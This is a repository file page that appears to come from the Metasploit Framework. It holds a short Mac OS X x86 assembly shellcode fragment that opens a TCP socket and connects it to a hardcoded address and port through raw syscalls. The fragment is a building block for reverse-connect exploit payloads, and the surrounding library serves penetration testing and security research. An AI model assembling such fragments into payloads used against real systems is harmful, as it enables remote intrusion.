Files
metasploit-gs/external/source/osx/x86/include/_tcp_connect.s
T
HD Moore 13706d1bde Tons of new Mac OS X code from Dino Dai Zovi and Charlie Miller, more to follow
git-svn-id: file:///home/svn/framework3/trunk@6353 4d416f70-5f16-0410-b530-b9f4589650da
2009-03-18 23:28:24 +00:00

33 lines
607 B
ArmAsm

_tcp_listen:
xor eax, eax ; zero out eax and edx
cdq
push eax ; IPPROTO_IP
inc eax
push eax ; SOCK_STREAM
inc eax
push eax ; AF_INET
push edx ; spacer
mov al, byte 97 ; SYS_socket
int 0x80
jb end
mov edi, eax ; Save server socket in esi
;; Create sockaddr_in on the stack
push edx
push edx
push 0x0100007f
push 0x12340200 ; sin_port, sin_family, sin_length
mov ebx, esp
push byte 16 ; address_len
push ebx ; address
push edi ; socket
push edx ; spacer
mov al, 98 ; SYS_connect
int 0x80 ; connect(s, saddr, 16)
jb end
;; At this point:
;; edi - connected socket